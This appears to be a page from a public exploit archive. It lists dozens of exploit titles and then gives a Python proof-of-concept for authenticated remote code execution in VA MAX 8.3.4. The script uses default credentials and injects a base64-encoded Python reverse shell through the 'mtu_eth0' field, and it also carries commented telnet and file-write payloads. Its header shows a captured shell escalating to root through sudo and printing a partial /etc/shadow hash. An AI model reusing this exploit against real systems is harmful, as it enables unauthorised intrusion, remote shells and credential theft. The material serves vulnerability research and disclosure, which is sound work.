d622832ea0
21 changes to exploits/shellcodes KnFTP 1.0.0 Server - Multiple Buffer Overflows (Denial of Service) (SEH) (PoC) KnFTP 1.0.0 Server - Multiple Buffer Overflows (PoC) (SEH) Jzip - Buffer Overflow (Denial of Service) (SEH Unicode) Jzip - Buffer Overflow (PoC) (SEH Unicode) Mediacoder 0.8.33 build 5680 - '.m3u' Buffer Overflow (Denial of Service) (SEH) (PoC) Mediacoder 0.8.33 build 5680 - '.lst' Buffer Overflow (Denial of Service) (SEH) (PoC) Mediacoder 0.8.33 build 5680 - '.m3u' Buffer Overflow (PoC) (SEH Overwrite) Mediacoder 0.8.33 build 5680 - '.lst' Buffer Overflow (PoC) (SEH Overwrite) STIMS Buffer 1.1.20 - Buffer Overflow (Denial of Service) (SEH) (PoC) STIMS Buffer 1.1.20 - Buffer Overflow (PoC) (SEH Overwrite) Zortam Mp3 Media Studio 20.15 - Overflow (SEH) (Denial of Service) Zortam Mp3 Media Studio 20.15 - Overflow (PoC) (SEH) Netatalk 3.1.12 - Authentication Bypass (PoC) IP-Tools 2.50 - Denial of Service SEH Overwrite (PoC) Necrosoft DIG 0.4 - Denial of Service SEH Overwrite (PoC) IP-Tools 2.50 - Local Buffer Overflow (PoC) Necrosoft DIG 0.4 - Buffer Overflow (PoC) (SEH Overwrite) FlexHEX 2.46 - Denial of Service SEH Overwrite (PoC) FlexHEX 2.46 - Buffer Overflow (PoC) (SEH Overwrite) Remote Process Explorer 1.0.0.16 - Denial of Service SEH Overwrite (PoC) Remote Process Explorer 1.0.0.16 - Buffer Overflow (PoC) (SEH Overwrite) AirDroid 4.2.1.6 - Denial of Service FutureDj Pro 1.7.2.0 - Denial of Service NordVPN 6.19.6 - Denial of Service (PoC) River Past Video Cleaner 7.6.3 - Local Buffer Overflow (SEH) IP-Tools 2.5 - Local Buffer Overflow (SEH) (Egghunter) River Past Cam Do 3.7.6 - Local Buffer Overflow (SEH) Evince - CBT File Command Injection (Metasploit) Avast Anti-Virus < 19.1.2360 - Local Credentials Disclosure Netatalk - Bypass Authentication Adobe Flash Player - DeleteRangeTimelineOperation Type Confusion (Metasploit) NUUO NVRmini - upgrade_handle.php Remote Command Execution (Metasploit) Indusoft Web Studio 8.1 SP2 - Remote Code Execution Smoothwall Express 3.1-SP4 - Cross-Site Scripting Coship Wireless Router 4.0.0.x/5.0.0.x - WiFi Password Reset IPFire 2.21 - Cross-Site Scripting MyBB Bans List 1.0 - Cross-Site Scripting VA MAX 8.3.4 - Authenticated Remote Code Execution CentOS Web Panel 0.9.8.763 - Persistent Cross-Site Scripting Webiness Inventory 2.3 - 'email' SQL Injection
99 lines
No EOL
3.2 KiB
Python
Executable file
99 lines
No EOL
3.2 KiB
Python
Executable file
root@nippur:/home/c/src/nippur# cat vamax3.py
|
|
#!/usr/bin/env python
|
|
# quick poc for postauth rce bug in va max 8.3.4
|
|
#
|
|
# more:
|
|
# https://code610.blogspot.com
|
|
#
|
|
# 10.02.2019
|
|
#
|
|
|
|
# p.s.
|
|
#
|
|
# listening on [any] 4444 ...
|
|
# 192.168.1.126: inverse host lookup failed: Unknown host
|
|
# connect to [192.168.1.160] from (UNKNOWN) [192.168.1.126] 58894
|
|
# sh: no job control in this shell
|
|
# sh-4.1$ id
|
|
# id
|
|
# uid=48(apache) gid=48(apache) groups=48(apache),10(wheel),18(dialout)
|
|
# sh-4.1$ cat /etc/shadow
|
|
# cat /etc/shadow
|
|
# cat: /etc/shadow: Permission denied
|
|
# sh-4.1$
|
|
# (...)
|
|
# sh-4.1$ sudo -l
|
|
# sudo -l
|
|
# Matching Defaults entries for apache on this host:
|
|
# syslog_goodpri=debug, env_reset,
|
|
# secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
|
|
#
|
|
# User apache may run the following commands on this host:
|
|
# (ALL) NOPASSWD: ALL
|
|
# sh-4.1$ sudo su
|
|
# sudo su
|
|
# id
|
|
# uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
|
|
# head -n1 /etc/shadow
|
|
# root:$6$dNu030j/gSf.5(...)4IlAEGpzHv0:15392:0:99999:7:::
|
|
#
|
|
#
|
|
# o/
|
|
|
|
import datetime, time
|
|
import requests
|
|
from requests.auth import HTTPBasicAuth
|
|
|
|
# defines
|
|
dateTime = datetime.datetime.now()
|
|
timestamp = int(time.mktime(dateTime.timetuple()))
|
|
|
|
remote_host = 'http://192.168.1.126:9080'
|
|
our_user = 'loadbalancer'
|
|
our_passwd = 'loadbalancer'
|
|
|
|
# go
|
|
sess = requests.session()
|
|
logme = sess.post(remote_host, auth=HTTPBasicAuth(our_user, our_passwd))
|
|
logmeresp = logme.text
|
|
|
|
|
|
print '\n\tsmall poc for VA MAX 8.3.4\n'
|
|
|
|
|
|
|
|
# try to log in
|
|
if '<title>Load Balancer Administration System' in logmeresp:
|
|
print '[+] using credentials: %s : %s' % ( our_user, our_passwd )
|
|
print '[+] our timestamp: %s' % ( timestamp )
|
|
|
|
print '[+] proceed.'
|
|
|
|
getme = remote_host + '/lbadmin/config/changeip.php?action=modip&l=e&t=' + str(timestamp)
|
|
dogetme = sess.get(getme, auth=HTTPBasicAuth(our_user, our_passwd))
|
|
getmeresp = dogetme.text
|
|
|
|
|
|
payload = "h4x;echo cHl0aG9uIC1jICdpbXBvcnQgc29ja2V0LHN1YnByb2Nlc3Msb3M7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9J TkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgiMTkyLjE2OC4xLjE2MCIsNDQ0NCkpO29zLmR1cDIocy5maWxlbm8oKSwwKTsgb3 MuZHVwMihzLmZpbGVubygpLDEpOyBvcy5kdXAyKHMuZmlsZW5vKCksMik7cD1zdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwiLWkiXSk7Jwo= | base64 -d | sh;#"
|
|
|
|
#payload = "h4x;telnet 192.168.1.160 4444;#"
|
|
#payload = ';id>/tmp/id.id.id'
|
|
# print '[i] using payload:', payload
|
|
|
|
data_req = {
|
|
'eth0' : '192.168.1.126/24',
|
|
'mtu_eth0' : '1500' + payload, # >.<
|
|
'eth1' : '',
|
|
'mtu_eth1' : '1500',
|
|
'eth2' : '',
|
|
'mtu_eth2' : '1500',
|
|
'eth3' : '',
|
|
'mtu_eth3' : '1500',
|
|
'go' : 'Configure+Interfaces'
|
|
}
|
|
shLink = remote_host + '/lbadmin/config/changeip.php?action=modip&l=e&t=' + str(timestamp)
|
|
shellWe = sess.post(shLink, data=data_req, auth=HTTPBasicAuth(our_user, our_passwd))
|
|
shResp = shellWe.text
|
|
|
|
# check sudo -l now :>
|
|
print '\n\nThanks.Bye.\n' |